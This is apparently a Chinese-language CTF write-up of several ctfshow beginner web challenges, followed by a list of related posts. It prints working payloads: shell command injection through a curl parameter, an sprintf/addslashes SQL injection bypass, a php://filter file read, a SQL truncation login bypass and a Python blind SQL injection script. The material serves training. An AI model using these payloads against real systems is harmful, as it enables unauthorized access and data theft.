签到题

就从做题顺序开始记录,这题真的很签到。

<?php
if(isset($_GET['url'])){system("curl https://".$_GET['url'].".ctf.show");
}else{show_source(__FILE__);
}?>

有system函数在,应该就是命令执行了。唯一注意的点就是分号分隔一下。

用;ls;查看flag文件,再用;cat flag;得到flag。

给她

刚开始还不知道题目名字的含义,就一直在那注入,后来才知道给她翻译过来就是git,git泄露得到源码一部分。

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

addslashes函数就是对pass传进来的数据进行过滤,把预定义好的单双引号和反斜杠都进行了转义。这里就要用到sprintf函数的一个漏洞。(附上大佬文章深入解析sprintf格式化字符串漏洞)简而言之,就是php在格式化字符串时它会吞掉转义后的反斜杠,从而让单引号逃逸出来。可以构造payload

?name=admin&pass=1%1$' or 1=1-- -

第一个参数,用%进行填充,转义后%/就被吃掉了,单引号 成功逃脱。

这就是普通的页面,查看源代码。

给出flag的位置,之后发现cookie有信息,应该是一串十六进制。转ascli得出flag.txt。

访问发现flag文件不在这。。

抓包查看cookie中有一个file变量我们可以用,我们将伪协议转十六进制读取。

出现了not has base64,不能用base64,看了wp知道另一个payload

php://filter/read=string.rot13/resource=/flag

发包得出flag。

假赛生

打开题目是一段代码

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){show_source("index.php");
}else{$name=$_SESSION['name'];$sql='select pass from user where name="'.$name.'"';echo $sql."<br />";system('4rfvbgt56yhn.sh');$query=mysqli_query($conn,$sql);$result=mysqli_fetch_assoc($query);if($name==='admin'){echo "admin!!!!!"."<br />";if(isset($_GET['c'])){preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);echo $flag;}else{echo "you not admin";}}
}
?>

根据题目提示有登录和注册,代码中看出我们需要admin登入,然后参数c传值得出flag。

打开注册发现admin不能注册,我们可以用admin加空格来绕过(sql约束攻击)然后用admin登录进去了。

看代码发现参数c过滤了打印字符和不可打印字符。因为没有isset函数的约束,不传值就行了。

最终得出flag。

萌新记忆

里面的段子确实挺搞笑的,继续做题,用dirsearch扫一下目录。扫出了/admin/?/login目录,访问是一个登录界面。随便输入admin'就会有sql语句报错。用sqlmap也是跑不出来。

这里就要用到BP来判断一下有那些payload没有过滤。(用BP fuzz进行sql注入的相关文章【CTF】利用 Burpsuite Fuzz 实现 SQL 注入 - SegmentFault 思否)

这里测试回显有三种情况:密码错误,用户名错误和用户名密码错误。

首先下载一个payload字典,再通过BP的intruder模块将这些payload发出去。||是没有过滤的,它可以代替or来进行布尔盲注。我们输入在'||'a'<'b时,因为变量有单引号包裹,所以后端的查询语句就是''||'a'<'b',因为a<b是恒成立的,所以返回的结果是密码错误而不是用户名密码错误。因为我们抓包得出传用户名的参数是u,传密码的参数是p,因为BP Fuzz测试length是没有被过滤的,我们可以判断密码的长度,u='||length(p)<2||'&p=123。经过多组测试密码是十七位。在就是按照这个原理写脚本了,奈何我不会写脚本只能看懂脚本。

import requests
url="http://69c91548-0b63-48bb-b2d9-2f56576c1517.challenge.ctf.show/admin/checklogin.php"
letter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(1,18):for j in letter:payload="'||substr(p,{},1)<'{}".format(i,j)data={'u':payload,'p':1}res=requests.post(url=url,data=data).textprint(res)if "密码错误" == res:flag += chr(ord(j)-1)print(flag)break

跑脚本就能得到密码了,用admin登录进去就能得出flag。

ctfshow萌新赛经验总结相关推荐

  1. CTFSHOW 萌新赛 萌新记忆

    CTFSHOW 萌新赛 萌新记忆 吐槽一下我感觉萌新这个词在侮辱我,我还搞了半天 进去之后查看源代码,把能点的地方都点一下发现没有什么可以搞的,就打开了御剑来扫描了一波,发现了admin目录进去要让我 ...

  2. ctfshow 萌新赛 给她

    初识: 一开始看到这个题目以为是sql注入,尝试了各种sql注入转义次都注入不了 .git泄露:最后还是看了一下大佬的解题,发现方向就错了,"给她"--"git" ...

  3. ctfshow萌新赛web

    文章目录 萌新赛web_萌新记忆 萌新赛web_假赛生 萌新赛web_给她 萌新赛web_萌新记忆 这道题是看了大佬的题解才做出来的,扫描可以得到admin目录 这里需要有几个过滤需要绕过 or被过滤 ...

  4. CTFSHOW 萌新赛

    给她 听名字是git泄露,但是不知道是不是我的字典有问题,没有扫出来有用的信息. 结果只能翻别人的wp了,得知了hint.php <?php $pass=sprintf("and pa ...

  5. ctfshow 萌新赛 劝退警告

    不得不说这题是真的难啊 首先binwalk,分离出图片里藏着的压缩包 其次是压缩包的伪加密,搜索504B0102 把09改为00即可 如果是真加密,把09改为00就会显示错误,无法打开 然后打开后有一 ...

  6. ctfshow 萌xin赛misc

    前言 不想学web的时候,刷misc摸鱼(然后摸的有点久),萌xin赛的题做起来也有点点点点点点费劲... qrcode 打开txt发现txt里只有01查看长度发现是625位,根据题目名称明显是25* ...

  7. 记萌新赛的命题过程与踩气球过程

    从命题环节开始记起吧,踩气球部分放在后半段压轴. 大约$20$天以前,那天早上我刚下火车,得知今年比赛命题组组长是$xiang578$,老师发的命题人员名单中并没有我.出于对命题工作的好奇与热爱,我向 ...

  8. ctfshow萌新红包题writeup

    ctfshow萌新专属红包题writeup 题目来源:https://ctf.show/ 这一题是ctfshow平台上面2月17日更新的一个萌新红包题,当天在官方交流群内知道晚上会有一个萌新红包题之后 ...

  9. ✿2021NEWCTF6.1萌新赛✿MISC-all-WP

    2021萌新赛MISCWP,加一道Crypto MISC-sign in MISC-very-ez-dump MISC-!了反都,了反 MISC-happy六一 MISC-Peltate MISC-b ...

  10. ctfshow 萌xin赛

    萌新赛 给她 git源码泄露.得到源码为 <?php $pass=sprintf("and pass='%s'",addslashes($_GET['pass'])); $s ...

最新文章

  1. MySQL面试题 | 附答案解析(十一)
  2. Cesium 创建Geometry
  3. Linux内存手动释放方法
  4. Redis源码简要分析
  5. 搭建一款开源的微信商城小程序:海风小店
  6. android obd编程,Android蓝牙连接汽车OBD设备
  7. 使用glbindbuffers产生访问冲突_预防IP地址冲突的应对方案,你知道吗?
  8. HashMap 精讲原理篇
  9. 深度学习(三):初级卷积神经网络
  10. PSCAD建立高压直流输电线路雷击模型--相关建模问题
  11. PPT如何压缩?PPT文件压缩的方法有哪些
  12. 计算机基础——Word 2010
  13. 算法题目:小于n的最大数
  14. 智慧环卫全流程设计方案
  15. L2TP连接尝试失败,因为安全层在初始化与远程计算机的协商时遇到一个处理错误
  16. KiCad 5.1.6 泪滴插件安装与使用
  17. IBL(二) IBL中Specular 和Diffuse的计算(ReflectProbe 和 LightProbe)
  18. 使用Java建立一个公交管理系统,监督管理公交日常运营情况。
  19. 参照国家一级博物馆运行评估指标体系,博物馆综合业务服务平台就该如此建设
  20. IBM Power6、7配件FC号描述翻译(unix360.part06)

热门文章

  1. ModelSim仿真实例教程
  2. modelsim安装_Modelsim10.5安装教程
  3. 解决win10的WiFi图标消失、win10打开或关闭系统图标网络灰色问题
  4. [产品] 敏捷开发软件(一)——团队看板
  5. shell输出重定向
  6. tftp刷路由器 linux,开启tftp服务器 WIN7路由器开启tftp服务器命令方法 | 帮助信息-动天数据...
  7. [转]MapX 操作总结
  8. 《21世纪英汉汉英双向词典》《朗文当代英语辞典第五版》《牛津高阶英汉双解词典第7版》...
  9. 读书-算法《程序设计导引及在线实践》-简单计算题3:校门外的树
  10. SQL入门教程(一):基础知识